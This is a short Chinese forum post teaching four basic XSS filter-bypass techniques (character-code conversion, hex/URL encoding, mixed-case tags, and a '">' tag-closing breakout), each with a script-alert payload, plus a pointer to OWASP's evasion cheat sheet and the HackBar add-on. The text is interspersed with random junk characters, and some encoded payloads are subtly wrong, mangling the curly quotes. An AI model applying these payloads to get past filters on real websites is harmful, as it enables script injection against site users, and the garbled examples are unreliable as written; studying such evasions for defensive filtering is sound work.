四种超级基础的绕过方法。
1 V/ t: P! S F+ f s2 v1.转换为ASCII码* b8 Z: I. V$ y2 Z& f/ R& r( q
例子:原脚本为<script>alert(‘I love F4ck’)</script >" D- c$ l& o' \* _1 K2 \
通过转换,变成:
$ a3 {* l; P! k5 ?* ^8 U# j<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>! T2 _7 c7 d; D9 S$ {0 g
" K3 d5 v- a: y( k2.转换为HEX(十六进制)
; a5 F! B0 k$ f+ ^' x H例子:原脚本为<script>alert(‘I love F4ck’)</script>5 P+ I/ n e8 K9 S* I z
通过转换,变成:
; X- s. h. z J/ c%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e4 y; M3 x/ Z1 }4 a
7 s1 ?: R5 k8 y& n3.转换脚本的大小写# G' p" ]9 j2 r% O3 l. }
例子:原脚本为<script>alert(‘I love F4ck’)</script>$ { J: H! _5 R w+ w
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>3 s/ H+ D( J8 Q
. J9 O. r: }* e* V% {! j$ d6 j4.增加闭合标记”>
" ~ W: y0 W8 u: j5 `! T7 @7 _例子:原脚本为<script>alert(‘I love F4ck’)</script>
2 P/ ^3 O* L% b M, I1 H: B转换为:”><script>alert(‘I love F4ck’)</script>6 L! ^. x; I& M6 _' k v
更详细绕过技术请参考此网页- ?# T* K' d0 u% {1 g6 d# [2 Y
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet- C0 l* u- B7 ]8 _
$ w( I9 C0 `) s- s" k e
转换工具使用的是火狐的 hackbar mozilla addon. |